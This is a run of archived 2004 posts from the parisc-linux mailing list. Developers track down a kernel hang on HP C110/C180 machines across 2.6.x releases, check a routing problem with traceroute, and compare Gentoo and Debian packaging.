X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sat, 17 Apr 2004 18:10:35 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <4081731B.7070006@tiscali.be>
References: <407DA495.1090009@tiscali.be>
	<40711E5500006381@ocpmta2.freegates.net>
	<26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623383 8425 80.91.229.3 (22 Nov 2014 02:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <ajwalker@broadpark.no>
Original-X-From: soete.joel@tiscali.be  Sat Apr 17 12:10:43 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo4.tiscali.be (spoolo4.tiscali.be [62.235.13.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ADC64898
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 12:10:43 -0600 (MDT)
Original-Received: from [83.134.226.158] (port=32878 helo=tiscali.be)
	by spoolo4.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BEuGy-00015q-Vg; Sat, 17 Apr 2004 20:10:37 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 18:10:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21448

Hello Andy,

Sorry for delay but I was a bit busy by a production server.

Andy Walker wrote:
>>>That said, thanks to viewcvs, cvs and some tbz I recover from my systems,
>>
>>I >reach to rebuild on my b2k at the office:
>>
>>>2.6.3-pa2 (runing simultaneoulsy 2 find on different linux tree, a
>>>tar of one of those tree) survive :)
>>>2.6.4-rc1-pa3 same test: survive (so no pb with ccio-dma changes) :)
>>>but 2.6.4-rc4-pa6 died with same messages.
>>
>>Sorry a typo: read 2.6.4-rc3-pa6 in place of rc4 :(
>>
>>Joel
>>
>>
> 
> 
> Joel,
> 
> 2.6.6-rc1-pa0 shows the same behaviour,

Thanks.
but not a surprise regarding previous test.

> although it does seem to make it
> through the Gentoo boot process most times.

I would not be surprise if it occures during some fsck. Do you also use ext3 on your Gentoo?
btw Gentoo always install pkg by a local rebuild from src (that's a long time that I visit the site)?

> Typically, 'ls <TAB><TAB>' in
> bash in a largeish directory will do the trick. The bash process ends up
> in disk-wait, the WARN_ON gets logged. I can switch consoles and log in
> but just about anything that goes to disk ends up in disk-wait too.
> 
I will try this also.

> I've compiled 2.6.3-pa2 in the hope of getting the C180 up and stable.

This seems to be the last one enough stable for me and my c110: I just updated my distro (that used a lot tar iirc) and all works 
fine with this kernel.

> Can't boot it until this evening because the machine's at home and
> AUTOBOOT is OFF.
> 
No pb.

Thanks for your feedback ;)

Joel


From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux.org unreachable?
Date: Sat, 17 Apr 2004 18:17:59 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <408174D7.2060709@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623383 8428 80.91.229.3 (22 Nov 2014 02:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:43 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sat Apr 17 12:18:05 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo4.tiscali.be (spoolo4.tiscali.be [62.235.13.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 445E74898
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 12:18:05 -0600 (MDT)
Original-Received: from [83.134.226.158] (port=32883 helo=tiscali.be)
	by spoolo4.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BEuO8-0001vY-UM; Sat, 17 Apr 2004 20:18:01 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 18:18:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21449

Hi all,

This eveing p-l.org is unreachable for me?
Am I alone?

Thanks for feedback,
	Joel


From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: parisc-linux.org unreachable?
Date: Sat, 17 Apr 2004 11:57:11 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20040417185711.GI17842@tausq.org>
References: <408174D7.2060709@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623384 8430 80.91.229.3 (22 Nov 2014 02:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:44 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: randolph@tausq.org  Sat Apr 17 12:19:04 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9677848B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 12:19:04 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1AD65CD29F; Sat, 17 Apr 2004 11:57:11 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <408174D7.2060709@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 18:19:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21450

> This eveing p-l.org is unreachable for me?
> Am I alone?

works for me. -randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: parisc-linux.org unreachable?
Date: Sat, 17 Apr 2004 20:33:46 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <408194AA.60704@tiscali.be>
References: <408174D7.2060709@tiscali.be> <20040417185711.GI17842@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623384 8431 80.91.229.3 (22 Nov 2014 02:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:44 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: soete.joel@tiscali.be  Sat Apr 17 14:33:52 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id A85134898
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 14:33:52 -0600 (MDT)
Original-Received: from [83.134.226.158] (port=33243 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BEwVa-0006C5-GI; Sat, 17 Apr 2004 22:33:50 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <20040417185711.GI17842@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 20:33:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21451

Ok so it must be dns pb near my ISP.

Thanks,
Joel


Randolph Chung wrote:
>>This eveing p-l.org is unreachable for me?
>>Am I alone?
> 
> 
> works for me. -randolph


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sat, 17 Apr 2004 22:49:19 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <32875.127.0.0.1.1082234959.squirrel@www.puszczka.com>
References: <407DA495.1090009@tiscali.be>   
	<40711E5500006381@ocpmta2.freegates.net>
	<26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
	<4081731B.7070006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623384 8435 80.91.229.3 (22 Nov 2014 02:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: ajwalker@broadpark.no  Sat Apr 17 14:38:36 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 937D64898
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 14:38:36 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (87.80-203-39.nextgentel.com
	[80.203.39.87]) by mail.broadpark.no (Postfix) with ESMTP
	id B4F3F3714; Sat, 17 Apr 2004 22:38:35 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 1AA637B41; Sat, 17 Apr 2004 22:49:19 +0200 (CEST)
Original-Received: from 127.0.0.1 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Sat, 17 Apr 2004 22:49:19 +0200 (CEST)
In-Reply-To: <4081731B.7070006@tiscali.be>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 20:38:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21452

> Hello Andy,
>
> Sorry for delay but I was a bit busy by a production server.

No problem.

>> 2.6.6-rc1-pa0 shows the same behaviour,
>
> Thanks.
> but not a surprise regarding previous test.
>
>> although it does seem to make it
>> through the Gentoo boot process most times.
>
> I would not be surprise if it occures during some fsck. Do you also use
> ext3 on your Gentoo?
> btw Gentoo always install pkg by a local rebuild from src (that's a long
> time that I visit the site)?

That's the Gentoo way - so every package on my system is compiled
-march=2.0 -mschedule=8000. The downside is that install and upgrade
takes a long time on slow machines. The upside is that you get total
control over package selection and compilation options. I've played
with Debian before but I find apt a pain compared to Gentoo's portage.
Also all this sid/woody/stable/unstable etc.... stuff confuses me.

>> I've compiled 2.6.3-pa2 in the hope of getting the C180 up and stable.
>
> This seems to be the last one enough stable for me and my c110: I just
> updated my distro (that used a lot tar iirc) and all works
> fine with this kernel.

2.6.3-pa2 is rock solid. I've been running updates, kernel compilation -
pretty heavy stuff, and no problems.
I'm just about to 'emerge' X11 - that should keep it downloading,
untarring and compiling for 24 hours.

Any suggestions for things I might test to narrow our problem down.

cheers,
-Andy


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: parisc-linux.org unreachable?
Date: Sat, 17 Apr 2004 20:44:20 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <40819724.6050107@tiscali.be>
References: <408174D7.2060709@tiscali.be> <20040417185711.GI17842@tausq.org>
	<408194AA.60704@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623385 8437 80.91.229.3 (22 Nov 2014 02:29:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:45 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Sat Apr 17 14:44:23 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 116884897
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 14:44:23 -0600 (MDT)
Original-Received: from [83.134.226.158] (port=33249 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BEwfk-0007Gi-Tv; Sat, 17 Apr 2004 22:44:21 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <408194AA.60704@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 20:44:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21453

hmm much more a routing pb:

  # traceroute www.parisc-linux.org
traceroute to www.parisc-linux.org (192.25.206.7), 64 hops max, 40 byte packets
  1  * * *
  2  10.10.10.41 (10.10.10.41)  47 ms  47 ms  40 ms
  3  ge-3-2.gsr-02.bru.net.tiscali.be (62.235.3.214)  40 ms  39 ms  53 ms
  4  ge-5-2-0-1.bru10.ip.tiscali.net (213.200.69.9)  40 ms  39 ms  40 ms
  5  so-1-0-0.sjc10.ip.tiscali.net (213.200.82.233)  190 ms  190 ms  185 ms
  6  qwest-ic.ip.tiscali.net (213.200.66.234)  193 ms  189 ms  186 ms
  7  * * *
  8  * * *
  9  * * *
10  * * *
11  * * *
12  * * *
13  * * *
14  * * *
15  * * *
16  * *
17  * * *

Joel

Joel Soete wrote:
> Ok so it must be dns pb near my ISP.
> 
> Thanks,
> Joel
> 
> 
> Randolph Chung wrote:
> 
>>> This eveing p-l.org is unreachable for me?
>>> Am I alone?
>>
>>
>>
>> works for me. -randolph
> 
> 


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sat, 17 Apr 2004 21:32:48 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <4081A280.8050108@tiscali.be>
References: <407DA495.1090009@tiscali.be>
	<40711E5500006381@ocpmta2.freegates.net>
	<26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
	<4081731B.7070006@tiscali.be>
	<32875.127.0.0.1.1082234959.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623385 8439 80.91.229.3 (22 Nov 2014 02:29:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <ajwalker@broadpark.no>
Original-X-From: soete.joel@tiscali.be  Sat Apr 17 15:32:51 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F1544851
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 15:32:51 -0600 (MDT)
Original-Received: from [83.134.226.158] (port=33265 helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BExPB-0008CY-NR; Sat, 17 Apr 2004 23:31:18 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <32875.127.0.0.1.1082234959.squirrel@www.puszczka.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 21:32:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21454



Andy Walker wrote:
>>Hello Andy,
>>
>>Sorry for delay but I was a bit busy by a production server.
> 
> 
> No problem.
> 
> 
>>>2.6.6-rc1-pa0 shows the same behaviour,
>>
>>Thanks.
>>but not a surprise regarding previous test.
>>
>>
>>>although it does seem to make it
>>>through the Gentoo boot process most times.
>>
>>I would not be surprise if it occures during some fsck. Do you also use
>>ext3 on your Gentoo?
>>btw Gentoo always install pkg by a local rebuild from src (that's a long
>>time that I visit the site)?
> 
> 
> That's the Gentoo way - so every package on my system is compiled
> -march=2.0 -mschedule=8000. The downside is that install and upgrade
> takes a long time on slow machines.

Yes that why I do not investegate more: I don't have a lot of budget for my system which are generaly systems a bit outdated 
machine recover from trash still just enough for my investigation but a bit too slow to build all the tools I would like to 
maintained uptodate frequently. The very great stuff would have to have the choice: update from pre-compiled binaries or a local 
compile. The debian packaging system is very robust (some month ago, on a i386, I do an update from a old woody (r0 iirc) directly 
to unstable aka sid without any pb) but I do not yet find a clear doc explaining me how to personalize pkg from dpkg src (I would 
like for instance change the prefix in general /usr into /opt/app/app_rev a la hp)?

> The upside is that you get total
> control over package selection and compilation options. I've played
> with Debian before but I find apt a pain compared to Gentoo's portage.
> Also all this sid/woody/stable/unstable etc.... stuff confuses me.
> 
That is the simple aspect: in short
     the current stable release was named (the 2.x was potato, the current one woody)
     the very last packages otc are put in unstable (aka sid) for large testing and debuging
     when pkg become enough stable it is pushed in testing the futur debian release (recently named sarge)

there are also security update for stable release only because there are in general in unstable and testing before!

For my part I only have ineterest in very last available packages (so sid or unstable) to test new features but some times (rarely 
in fact) the system is a bit 'unstable' :) (that's my choice).

> 
>>>I've compiled 2.6.3-pa2 in the hope of getting the C180 up and stable.
>>
>>This seems to be the last one enough stable for me and my c110: I just
>>updated my distro (that used a lot tar iirc) and all works
>>fine with this kernel.
> 
> 
> 2.6.3-pa2 is rock solid. I've been running updates, kernel compilation -
> pretty heavy stuff, and no problems.
> I'm just about to 'emerge' X11 - that should keep it downloading,
> untarring and compiling for 24 hours.
>
Ok

> Any suggestions for things I might test to narrow our problem down.
> 
Not realy for the moment, as explain previously, the problem seems to apear between 2.6.4-rc1-pa3 and 2.6.4-rc3-pa6.
I will try to figure out now if it comes from upstream or from or tree: I am on going to rebuild 2.6.4-rc3-pa1 and see how will it 
behave.

Thanks a lot,
	Joel


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel>=2.6.4-rc3 hung or panic on C1[18]0 [was:
 2.6.5-rc2-pa2 boot panic on c110 :(]
Date: Sat, 17 Apr 2004 23:00:31 +0000
Lines: 190
Approved: news@gmane.org
Message-ID: <4081B70F.6060003@tiscali.be>
References: <407DA495.1090009@tiscali.be>
	<40711E5500006381@ocpmta2.freegates.net>
	<26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
	<4081731B.7070006@tiscali.be>
	<32875.127.0.0.1.1082234959.squirrel@www.puszczka.com>
	<4081A280.8050108@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623385 8442 80.91.229.3 (22 Nov 2014 02:29:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Andy Walker <ajwalker@broadpark.no>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Sat Apr 17 17:00:40 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id B79284851
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 17:00:39 -0600 (MDT)
Original-Received: from [83.134.226.158] (port=33452 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BEynX-0005M3-FV; Sun, 18 Apr 2004 01:00:31 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <4081A280.8050108@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Apr 2004 23:00:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21455

Hi all,

To summarise I do following test with different kernel to locate this pb:
launch severall find into local big tree (different release of kernel tree) in the same time of a tar of one of those tree.

with kernel 2.6.3-pa2 no pb
with 2.6.4-rc1-pa3 no pb (apparently)
with 2.6.4-rc3-pa6 system crash (as well as with 2.6.4-rc3-pa1)

with the last one (2.6.4-rc3-pa1) I also log:
attempt to access beyond end of device
sdb9: rw=0, want=2307486096, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=2842788104, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=1904280008, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=2298589592, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=26325376, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=1371126224, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=3277938880, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=122917000, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=1151862976, limit=3075696
attempt to access beyond end of device
